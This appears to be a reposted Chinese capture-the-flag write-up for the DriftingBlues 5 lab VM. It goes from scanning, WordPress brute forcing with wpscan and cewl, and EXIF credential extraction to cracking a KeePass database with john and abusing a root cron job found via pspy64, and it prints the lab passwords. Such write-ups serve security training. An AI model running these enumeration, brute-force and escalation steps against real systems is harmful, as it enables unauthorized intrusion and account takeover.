DriftingBlues 5 靶机渗透测试 DriftingBlues__5

原文 EN · 机器翻译 作者:流云技术札 发布:2026-04-19 12:00 收录:2026-09-08 10:32 2 次阅读 约 632 字
摘要:概述 About Release Name : DriftingBlues: 5 Date release : 8 Mar 2021 Author : tasiyanci Series : DriftingBlues Description get flags difficulty: easy about vm: te…
推荐理由:本文涵盖「渗透测试」、「DriftingBlues」、「靶机」等多个主题,重点关注 渗透测试。

概述

About Release

  • Name: DriftingBlues: 5
  • Date release: 8 Mar 2021
  • Author: tasiyanci
  • Series: DriftingBlues

Description

get flags

difficulty: easy

about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.

This works better with VirtualBox rather than VMware.

Virtual Machine

  • Format: Virtual Machine (Virtualbox - OVA)
  • Operating System: Linux

Networking

  • DHCP service: Enabled
  • IP address: Automatically assign

渗透

漏洞遍历

扫描存活主机

arp-scan -interface=eth1 --localnet

image

靶机ip为192.168.56.107

端口探测

nmap -A -sV -T4 -p- 192.168.56.107

image

扫一下wp用户

wpscan --url http://192.168.56.107/ -e u

image

可以看到用户名,但没有密码

尝试爆破

用cewl生成字典 wp密码最少6位

cewl -m 6 -w passwd.txt http://192.168.56.107

image

wpscan --url http://192.168.56.107/ -e u --passwords passwd.txt

image

image

成功得到账密 gill interchangeable

在dirsearch里看到登录url

image

没有开启主题编辑

信息收集一下,能看到有一张driftingblues的图片

image

wget下来看看

wget http://192.168.56.107/wp-content/uploads/2021/02/dblogo.png

image

exiftool看到ssh信息

exiftool dblogo.png

image

得到ssh密码 59583hello

用gill连接试试

image

成功进入,在/home/gill/user.txt拿到flag1

image

root提权

信息收集

kdbx解密

再home目录下发现keyfile.kdbx

搜索一下后缀名

image

可以看到是KeePass密码

在 https://tzusec.com/cracking-keepass-database/ 找到破解方法

靶机开启web服务,将文件下载到本地

然后把keyfile.kdbx的内容转换为john支持的格式

keepass2john keyfile.kdbx > Keepasshash.txt

然后使用john爆破

john --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txt

image

得到密码 porsiempre

然后上传 keepass 进行解密
KeeWeb

image

之后看了下内核sudo suid,没什么发现

image

能看到6个key

2real4surreal
buddyretard
closet313
exalted
fracturedocean
zakkwylde

尝试su 依然失败

linpesas.sh信息收集

这里直接上传linpeas.sh进行信息收集

apt install -y peass

下载目录为/usr/share/peass/linpeas

然后在该目录开http
python3 -m http.server

运行后能看到一个/keyfolder文件夹,但依然不知道能干什么

image

查看计划任务

然后查看计划任务时发现无权限

因此上传pspy64来监控任务

image

可以看到 每分钟 以root权限执行了这个脚本

但依然无权限查看脚本

只能猜测和之前几个key有关

把之前的key打包成成文件放到keyfolder中

while read key; do touch $key ;done < keys

将每个 key 移动到 keyfolder 文件夹中,等待一分钟,看是否有生成新文件

放入fracturedocean时,会在/keyfolder里生成rootcreds.txt

image

查看即可拿到密码imjustdrifting31

登录后在/root/root.txt中拿到flag2

image

转载声明:本文转载自原发布平台 (作者:流云技术札), 原文标题《DriftingBlues__5》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。